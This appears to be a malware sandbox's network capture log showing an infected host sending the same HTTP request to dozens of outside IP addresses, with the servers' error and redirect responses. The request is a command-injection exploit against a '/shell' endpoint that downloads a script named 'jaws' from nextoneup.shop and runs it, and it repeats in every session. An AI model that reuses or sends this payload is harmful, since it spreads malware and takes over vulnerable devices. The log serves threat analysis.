<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>307 Temporary Redirect</TITLE></HEAD><BODY><H1>Temporary Redirect</H1>The document has moved <A HREF="https://127.0.0.1:10443/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</A>.<P></BODY></HTML>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1788	192.168.2.23	53612	38.38.139.43	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.513540030 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:53.693633080 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:58 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1789	192.168.2.23	39362	154.209.35.203	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.649431944 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:53.965277910 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:53 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1790	192.168.2.23	47224	54.93.177.126	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.655280113 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1791	192.168.2.23	37496	110.170.2.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.703782082 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.079619884 CEST	241	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Content-Length: 109 Date: Sun, 14 Apr 2024 02:01:53 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1792	192.168.2.23	46082	178.89.163.97	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.754216909 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.183406115 CEST	29	IN	HTTP/1.1 200 OK
Apr 14, 2024 04:01:54.183419943 CEST	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
1793	192.168.2.23	39140	52.85.151.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.876979113 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.105289936 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:53 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1794	192.168.2.23	43036	18.67.27.242	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.882798910 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.116980076 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:54 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1795	192.168.2.23	37754	23.42.117.107	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.930120945 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.211781025 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:54 GMT Date: Sun, 14 Apr 2024 02:01:54 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 62 35 32 63 64 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 63 66 63 34 65 34 39 64 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 62 35 32 63 64 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 63 66 63 34 65 34 39 64 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4b52cd17.1713060114.cfc4e49d<P>https://errors.edgesuite.net/9.4b52cd17.1713060114.cfc4e49d</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1796	192.168.2.23	41954	23.205.237.211	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.945086956 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.241889000 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:54 GMT Date: Sun, 14 Apr 2024 02:01:54 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 36 33 39 34 30 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 31 32 65 39 32 63 38 61 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 36 33 39 34 30 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 31 32 65 39 32 63 38 61 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.86394017.1713060114.12e92c8a<P>https://errors.edgesuite.net/9.86394017.1713060114.12e92c8a</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1797	192.168.2.23	51798	2.23.205.49	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.951308966 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.254157066 CEST	528	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 306 Expires: Sun, 14 Apr 2024 02:01:54 GMT Date: Sun, 14 Apr 2024 02:01:54 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 30 39 30 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 66 35 36 33 61 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 30 39 30 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 66 35 36 33 61 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.10901002.1713060114.f563a<P>https://errors.edgesuite.net/9.10901002.1713060114.f563a</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1798	192.168.2.23	59034	23.50.98.204	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.966660023 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.284641981 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:54 GMT Date: Sun, 14 Apr 2024 02:01:54 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 64 35 32 34 33 35 30 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 31 33 32 31 32 37 32 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 39 64 35 32 34 33 35 30 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 31 33 32 31 32 37 32 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9d524350.1713060114.1321272e<P>https://errors.edgesuite.net/9.9d524350.1713060114.1321272e</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1799	192.168.2.23	52974	46.250.224.80	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.027136087 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.367046118 CEST	441	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.22.1 Date: Sun, 14 Apr 2024 02:01:54 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1800	192.168.2.23	33794	23.11.59.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.053081989 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.414205074 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Sun, 14 Apr 2024 02:01:54 GMT Date: Sun, 14 Apr 2024 02:01:54 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 64 63 35 39 32 34 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 61 62 32 63 33 31 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 64 63 35 39 32 34 26 23 34 36 3b 31 37 31 33 30 36 30 31 31 34 26 23 34 36 3b 61 62 32 63 33 31 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5dc5924.1713060114.ab2c31c<P>https://errors.edgesuite.net/9.5dc5924.1713060114.ab2c31c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1801	192.168.2.23	60874	35.154.219.223	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.177932978 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1802	192.168.2.23	43948	35.230.239.175	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.565634012 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1803	192.168.2.23	41392	18.244.24.241	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.884876966 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:55.200984001 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:55 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1804	192.168.2.23	39188	54.154.201.171	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.889295101 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:55.209963083 CEST	372	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sun, 14 Apr 2024 02:01:55 GMT Content-Type: text/html Content-Length: 190 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1805	192.168.2.23	48862	13.37.170.177	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.890042067 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:55.211950064 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:55 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1806	192.168.2.23	39758	42.67.85.1	443

Timestamp	Bytes transferred	Direction	Data
